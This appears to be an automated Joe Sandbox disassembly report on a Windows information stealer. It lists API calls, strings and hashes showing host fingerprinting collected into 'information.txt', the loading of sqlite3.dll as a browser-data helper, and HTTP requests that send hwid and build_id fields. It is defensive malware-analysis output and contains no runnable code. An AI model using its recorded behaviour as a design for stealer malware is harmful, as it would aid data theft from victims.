Part of subcall function 00FF246D: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00FF24AA
Part of subcall function 00FF246D: CloseHandle.KERNEL32(00000000), ref: 00FF24B1

Part of subcall function 00FF0D53: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0D67
Part of subcall function 00FF0D53: HeapAlloc.KERNEL32(00000000,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0D6E

Part of subcall function 00FF1A2A: __EH_prolog3_catch_GS.LIBCMT ref: 00FF1A31
Part of subcall function 00FF1A2A: CoInitializeEx.OLE32(00000000,00000000,0000004C,00FF40D6,Install Date: ,01015898,00000000,Windows: ,01015888,Work Dir: In memory,01015870), ref: 00FF1A42
Part of subcall function 00FF1A2A: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00FF1A53
Part of subcall function 00FF1A2A: CoCreateInstance.OLE32(01011F18,00000000,00000001,01011E48,?), ref: 00FF1A6D
Part of subcall function 00FF1A2A: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00FF1AA3
Part of subcall function 00FF1A2A: VariantInit.OLEAUT32(?), ref: 00FF1AFE

Part of subcall function 00FF1BBA: __EH_prolog3_catch.LIBCMT ref: 00FF1BC1
Part of subcall function 00FF1BBA: CoInitializeEx.OLE32(00000000,00000000,00000030,00FF4144,?,AV: ,010158AC,Install Date: ,01015898,00000000,Windows: ,01015888,Work Dir: In memory,01015870), ref: 00FF1BD0
Part of subcall function 00FF1BBA: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00FF1BE1
Part of subcall function 00FF1BBA: CoCreateInstance.OLE32(01011F18,00000000,00000001,01011E48,?), ref: 00FF1BFB
Part of subcall function 00FF1BBA: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00FF1C31
Part of subcall function 00FF1BBA: VariantInit.OLEAUT32(?), ref: 00FF1C80

Part of subcall function 00FF0EA8: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FE1375), ref: 00FF0EB4
Part of subcall function 00FF0EA8: HeapAlloc.KERNEL32(00000000,?,?,?,00FE1375), ref: 00FF0EBB
Part of subcall function 00FF0EA8: GetComputerNameA.KERNEL32(00000000,00FE1375), ref: 00FF0ECF

Part of subcall function 00FF0E76: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FE13A9), ref: 00FF0E82
Part of subcall function 00FF0E76: HeapAlloc.KERNEL32(00000000,?,?,?,00FE13A9), ref: 00FF0E89
Part of subcall function 00FF0E76: GetUserNameA.ADVAPI32(00000000,00FE13A9), ref: 00FF0E9D

Part of subcall function 00FF1786: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00FF1798
Part of subcall function 00FF1786: GetDeviceCaps.GDI32(00000000,00000008), ref: 00FF17A3
Part of subcall function 00FF1786: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00FF17AE
Part of subcall function 00FF1786: ReleaseDC.USER32(00000000,00000000), ref: 00FF17B9
Part of subcall function 00FF1786: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00FF4275,?,Display Resolution: ,010158DC,00000000,User Name: ,010158CC,00000000,Computer Name: ,010158B8,AV: ,010158AC), ref: 00FF17C5
Part of subcall function 00FF1786: HeapAlloc.KERNEL32(00000000,?,?,00FF4275,?,Display Resolution: ,010158DC,00000000,User Name: ,010158CC,00000000,Computer Name: ,010158B8,AV: ,010158AC,Install Date: ), ref: 00FF17CC
Part of subcall function 00FF1786: wsprintfA.USER32 ref: 00FF17DE

Part of subcall function 00FF0FFE: GetKeyboardLayoutList.USER32(00000000,00000000,010157B7,?,?), ref: 00FF102F
Part of subcall function 00FF0FFE: LocalAlloc.KERNEL32(00000040,00000000), ref: 00FF103D
Part of subcall function 00FF0FFE: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00FF104B
Part of subcall function 00FF0FFE: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00FF107A
Part of subcall function 00FF0FFE: LocalFree.KERNEL32(00000000), ref: 00FF1122

Part of subcall function 00FF0F51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00FF0F6C
Part of subcall function 00FF0F51: HeapAlloc.KERNEL32(00000000), ref: 00FF0F73
Part of subcall function 00FF0F51: GetTimeZoneInformation.KERNEL32(?), ref: 00FF0F82
Part of subcall function 00FF0F51: wsprintfA.USER32 ref: 00FF0FA0

Part of subcall function 00FF1174: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ,01015914), ref: 00FF1188
Part of subcall function 00FF1174: HeapAlloc.KERNEL32(00000000,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ,01015914,Keyboard Languages: ,010158F8), ref: 00FF118F
Part of subcall function 00FF1174: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,01015870,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ), ref: 00FF11AD
Part of subcall function 00FF1174: RegQueryValueExA.KERNEL32(01015870,00000000,00000000,00000000,000000FF,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000), ref: 00FF11C9
Part of subcall function 00FF1174: RegCloseKey.ADVAPI32(01015870,?,?,?,00FF442F,Processor: ,[Hardware],01015938,00000000,TimeZone: ,01015928,00000000,Local Time: ,01015914,Keyboard Languages: ,010158F8), ref: 00FF11D2

Part of subcall function 00FF122A: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 00FF12A0
Part of subcall function 00FF122A: wsprintfA.USER32 ref: 00FF12FE

Part of subcall function 00FF11DD: GetSystemInfo.KERNEL32(?), ref: 00FF11F7
Part of subcall function 00FF11DD: wsprintfA.USER32 ref: 00FF120F

Part of subcall function 00FF133C: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,010158F8,Display Resolution: ,010158DC,00000000,User Name: ,010158CC,00000000,Computer Name: ,010158B8,AV: ,010158AC,Install Date: ), ref: 00FF1354
Part of subcall function 00FF133C: HeapAlloc.KERNEL32(00000000), ref: 00FF135B
Part of subcall function 00FF133C: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00FF1377
Part of subcall function 00FF133C: wsprintfA.USER32 ref: 00FF139D

Part of subcall function 00FF16C8: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010157BE,?,?), ref: 00FF16F7
Part of subcall function 00FF16C8: Process32First.KERNEL32(00000000,00000128), ref: 00FF1707
Part of subcall function 00FF16C8: Process32Next.KERNEL32(00000000,00000128), ref: 00FF1765
Part of subcall function 00FF16C8: CloseHandle.KERNEL32(00000000), ref: 00FF1770

Part of subcall function 00FF1426: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,010157BB,00000000,?,?), ref: 00FF1496
Part of subcall function 00FF1426: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00FF14D3
Part of subcall function 00FF1426: wsprintfA.USER32 ref: 00FF1500
Part of subcall function 00FF1426: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 00FF151F
Part of subcall function 00FF1426: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00FF1555
Part of subcall function 00FF1426: lstrlenA.KERNEL32(?), ref: 00FF156A

Part of subcall function 00FF1426: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,01015DBC), ref: 00FF15FF
Part of subcall function 00FF1426: RegCloseKey.ADVAPI32(?), ref: 00FF1669
Part of subcall function 00FF1426: RegCloseKey.ADVAPI32(?), ref: 00FF1695

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,010158F8,Display Resolution: ,010158DC,00000000,User Name: ,010158CC,00000000), ref: 00FF4740

Part of subcall function 00FF7074: CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
Part of subcall function 00FF7074: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

Strings

information.txt, xrefs: 00FF4750
Date: , xrefs: 00FF3DFC
HWID: , xrefs: 00FF3F2B
Keyboard Languages: , xrefs: 00FF42BB
GUID: , xrefs: 00FF3EBE
Computer Name: , xrefs: 00FF418A
Path: , xrefs: 00FF3F98
MachineID: , xrefs: 00FF3E5D
Work Dir: In memory, xrefs: 00FF400D
AV: , xrefs: 00FF411B
11.3, xrefs: 00FF3D9C
Local Time: , xrefs: 00FF4328
[Software], xrefs: 00FF4680
[Hardware], xrefs: 00FF43EA
User Name: , xrefs: 00FF41EB
Version: , xrefs: 00FF3D7C
Threads: , xrefs: 00FF44CC
Windows: , xrefs: 00FF404D
Install Date: , xrefs: 00FF40AE
Display Resolution: , xrefs: 00FF424C
Processor: , xrefs: 00FF440A
RAM: , xrefs: 00FF452D
TimeZone: , xrefs: 00FF4389
[Processes], xrefs: 00FF4607
Cores: , xrefs: 00FF446B
VideoCard: , xrefs: 00FF4594

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCurrentDeviceHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$CharComputerDirectoryEnumFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: 11.3$AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 478979899-3951908000
Opcode ID: e5403c791d43657832041b6005f4a316331bc35dd48686557decd47e9f5ab88f
Instruction ID: 2a4000b7f3a700778dbe5f2fb6f99566760033ca80ec99046594c59401dd1a9f
Opcode Fuzzy Hash: e5403c791d43657832041b6005f4a316331bc35dd48686557decd47e9f5ab88f
Instruction Fuzzy Hash: 25522E32D0015EAADF40FBA5EC429EDB775AF01300F5245A1AA1077137DFB97E4AAAD0

Function 00FF6B93 Relevance: 37.0, APIs: 8, Strings: 13, Instructions: 249
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF076C: lstrlenA.KERNEL32(?,?,00FF733C,0101572F,0101572E,?,?,?,?,00FF8011), ref: 00FF0772
Part of subcall function 00FF076C: lstrcpyA.KERNEL32(00000000,00000000,?,00FF733C,0101572F,0101572E,?,?,?,?,00FF8011), ref: 00FF07A4

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF6AA3: StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6AF7
Part of subcall function 00FF6AA3: lstrlenA.KERNEL32(?), ref: 00FF6B02
Part of subcall function 00FF6AA3: StrStrA.SHLWAPI(00000000,?), ref: 00FF6B17
Part of subcall function 00FF6AA3: lstrlenA.KERNEL32(?), ref: 00FF6B26
Part of subcall function 00FF6AA3: lstrlenA.KERNEL32(00000000), ref: 00FF6B3F

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6C7D
StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6CD6
StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6D36
StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6D8F
StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6DA5
StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6DBB
StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6DCD
Sleep.KERNEL32(0000EA60), ref: 00FF6DDC

Strings

sqlo.dll, xrefs: 00FF6EAA
ERROR, xrefs: 00FF6DB3
ERROR, xrefs: 00FF6DC5
ERROR, xrefs: 00FF6D9D
ERROR, xrefs: 00FF6C75
ERROR, xrefs: 00FF6CCE
sqlo.dll, xrefs: 00FF6EDB
sqlite3.dll, xrefs: 00FF6E79
sqlite3.dll, xrefs: 00FF6E45
ERROR, xrefs: 00FF6D87
ERROR, xrefs: 00FF6D2E
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6, xrefs: 00FF6E8B
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6, xrefs: 00FF6EBC

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6$Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6$sqlite3.dll$sqlite3.dll$sqlo.dll$sqlo.dll
API String ID: 2840494320-2782864256
Opcode ID: c1859fb64b6113793bec0f76e4ccdf4166cdc85b8309d8af74c6ccc68fc6e624
Instruction ID: 79ff02477260236a32818b8b23ab03f335597ce7e23f860132b5275d5df1f08a
Opcode Fuzzy Hash: c1859fb64b6113793bec0f76e4ccdf4166cdc85b8309d8af74c6ccc68fc6e624
Instruction Fuzzy Hash: 9091FA32E4021C9BCB50FB66EC429ADB775BF40700F514165FA44BB126DF79BE09AB84

Function 00FE1656 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00FE1686
wsprintfW.USER32 ref: 00FE16AC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 00FE16D6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 00FE16EE
RtlAllocateHeap.NTDLL(00000000), ref: 00FE16F5
_time64.MSVCRT ref: 00FE16FE
srand.MSVCRT ref: 00FE1705
rand.MSVCRT ref: 00FE170E
_memset.LIBCMT ref: 00FE171E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00FE1736
_memset.LIBCMT ref: 00FE1753
CloseHandle.KERNEL32(?), ref: 00FE1761
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 00FE177D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 00FE1799
_memset.LIBCMT ref: 00FE17AE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FE17B8
RtlFreeHeap.NTDLL(00000000), ref: 00FE17BF
CloseHandle.KERNEL32(?), ref: 00FE17CB

Strings

delays.tmp, xrefs: 00FE1694
%s%s, xrefs: 00FE16A6

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: a6b3180b04d8f29eeb3185bf12dd6f92953d3f492677f36a9012c68319fe5053
Instruction ID: d6f4f3b14e918c7a5c3aaa70b96bf6f97970de4b81660ead8b8b4720717bfb96
Opcode Fuzzy Hash: a6b3180b04d8f29eeb3185bf12dd6f92953d3f492677f36a9012c68319fe5053
Instruction Fuzzy Hash: 6E4162B1900219ABEB319B729C4CE9B7BBDFF89B21F0045A9B14AD1041DB7A4D54DF60

Function 00FE4B20 Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AD9
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4ADF
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AE5
Part of subcall function 00FE4AA7: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00FE4AF7
Part of subcall function 00FE4AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00FE4AFF

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE4BBF
StrCmpCA.SHLWAPI(?), ref: 00FE4BDD
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE4D75
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00FE4DB9
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE4DE7

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

lstrlenA.KERNEL32(?,010159AB,",build_id,01016814,------,01016808,",hwid,010167F4,------), ref: 00FE50E0
lstrlenA.KERNEL32(?,?,00000000), ref: 00FE50F3
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00FE5101
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FE515E
InternetCloseHandle.WININET(00000000), ref: 00FE5169
InternetCloseHandle.WININET(?), ref: 00FE5180
InternetCloseHandle.WININET(?), ref: 00FE518C

Strings

", xrefs: 00FE4ECB
------, xrefs: 00FE4DED
", xrefs: 00FE502B
------, xrefs: 00FE4F4D
build_id, xrefs: 00FE4FFF
------, xrefs: 00FE4C67
hwid, xrefs: 00FE4E9F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: 6c2626e800eeaf311f9eaf054aabb43aba5c6480364eadd02f943b2390c601d0
Instruction ID: 25e5f2bf55560cac4ff10b762bffcbc581090c7807af54f5f82b1d0e2c738b00
Opcode Fuzzy Hash: 6c2626e800eeaf311f9eaf054aabb43aba5c6480364eadd02f943b2390c601d0
Instruction Fuzzy Hash: 2B02A332D1516E9ACB60AB21DC42AEDB7B5FF04340F4140E1A64877126DEB97F86AFC0

Function 00FF1A2A Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143
memorycomtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00FF1A31
CoInitializeEx.OLE32(00000000,00000000,0000004C,00FF40D6,Install Date: ,01015898,00000000,Windows: ,01015888,Work Dir: In memory,01015870), ref: 00FF1A42
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00FF1A53
CoCreateInstance.OLE32(01011F18,00000000,00000001,01011E48,?), ref: 00FF1A6D
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00FF1AA3
VariantInit.OLEAUT32(?), ref: 00FF1AFE

Part of subcall function 00FF197A: __EH_prolog3_catch.LIBCMT ref: 00FF1981
